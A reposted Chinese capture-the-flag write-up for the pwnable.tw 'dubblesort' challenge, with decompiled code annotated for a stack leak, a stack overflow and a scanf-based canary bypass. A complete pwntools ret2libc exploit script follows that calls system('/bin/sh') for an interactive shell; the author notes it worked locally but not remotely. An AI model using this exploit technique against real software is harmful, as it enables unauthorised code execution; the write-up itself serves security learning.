pwnable.tw dubblesort
                                                            生活随笔
收集整理的這篇文章主要介紹了
                                pwnable.tw dubblesort
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.                        
                                (留坑,遠(yuǎn)程沒打成功)
int __cdecl main(int argc, const char **argv, const char **envp) {int t_num_count; // eaxint *num_stack; // ediunsigned int input_count; // esiunsigned int output_ptr; // esiint v7; // ST08_4int result; // eaxunsigned int num_count; // [esp+18h] [ebp-74h]int v10; // [esp+1Ch] [ebp-70h]char buf; // [esp+3Ch] [ebp-50h]unsigned int v12; // [esp+7Ch] [ebp-10h] v12 = __readgsdword(0x14u);sub_8B5();__printf_chk(1, "What your name :");read(0, &buf, 0x40u);__printf_chk(1, "Hello %s,How many numbers do you what to sort :");// 棧空間未初始化為0,printf時(shí)\x00截?cái)?#xff0c;導(dǎo)致棧空間信息泄露__isoc99_scanf("%u", &num_count);t_num_count = num_count;if ( num_count ){num_stack = &v10;input_count = 0;do{__printf_chk(1, "Enter the %d number : ");fflush(stdout);__isoc99_scanf("%u", num_stack);++input_count;t_num_count = num_count;++num_stack;}while ( num_count > input_count );} // ebp-0x70讀入num_count個(gè)數(shù),棧溢出sub_931((unsigned int *)&v10, t_num_count); // 冒泡,升序puts("Result :");if ( num_count ){output_ptr = 0;do{v7 = *(&v10 + output_ptr);__printf_chk(1, "%u "); // canary最低位為00,這里偏移24覆蓋為\x00可以leak canary++output_ptr;}while ( num_count > output_ptr );}result = 0;if ( __readgsdword(0x14u) != v12 )sub_BA0();return result; } #! /usr/bin/env python # -*- coding: utf-8 -*-from pwn import *context.log_level='DEBUG'''' r=remote('chall.pwnable.tw',10101) libc=ELF('./libc_32.so.6') ''' r=process('./dubblesort') libc=ELF('/lib32/libc-2.27.so')''' r=process('./dubblesort',env={"LD_PRELOAD":"/root/pwnable.tw/dubblesort/libc_32.so.6"}) libc=ELF('./libc_32.so.6') ''' #leak libc_base r.recvuntil('What your name :') r.sendline('a'*20) r.recvuntil('\n') #libc_base=u32('\x00'+r.recv(3))-0x1D2CD0 libc_base=u32('\x00'+r.recv(3))-0x1D5000 #本地(我就TM奇他喵了個(gè)咪的怪了,本地能打遠(yuǎn)程就不行? success('libc_base:'+hex(libc_base))sys_addr=libc_base+libc.sym['system'] binsh_addr=libc_base+libc.search('/bin/sh').next() #binsh_addr=libc_base+0x168e8b success('sys_addr:'+hex(sys_addr)) success('binsh_addr:'+hex(binsh_addr))''' 0x5f066 execl("/bin/sh", [esp]) constraints:esi is the GOT address of libc[esp] == NULLone_gadget=libc_base+0x5f066 success('one_gadget addr:'+hex(one_gadget)) ''' #gdb.attach(r)#r.recvuntil('How many numbers do you what to sort :') r.sendline('36')for i in range(0,24):r.recvuntil(':')r.sendline(str(i))#bypass canary r.recvuntil(':') r.sendline('+') #24,canaryfor i in range(0,8):r.recvuntil(':')r.sendline(str(sys_addr))for i in range(0,3):r.recvuntil(':')r.sendline(str(binsh_addr))r.interactive()本地能打成功,遠(yuǎn)程可能是給的libc沒有找到'/bin/sh'(?直接在libc里找libc.search('/bin/sh').next()是可以找到的,但是在IDA同樣的位置找到的并不是db類型的字符串常量'/bin/sh',此處留坑),one_gadget試了下也沒成功
轉(zhuǎn)載于:https://www.cnblogs.com/snip3r/p/10539335.html
總結(jié)
以上是生活随笔為你收集整理的pwnable.tw dubblesort的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: 微信小程序开发
- 下一篇: smart700iev3 程序下载设置_
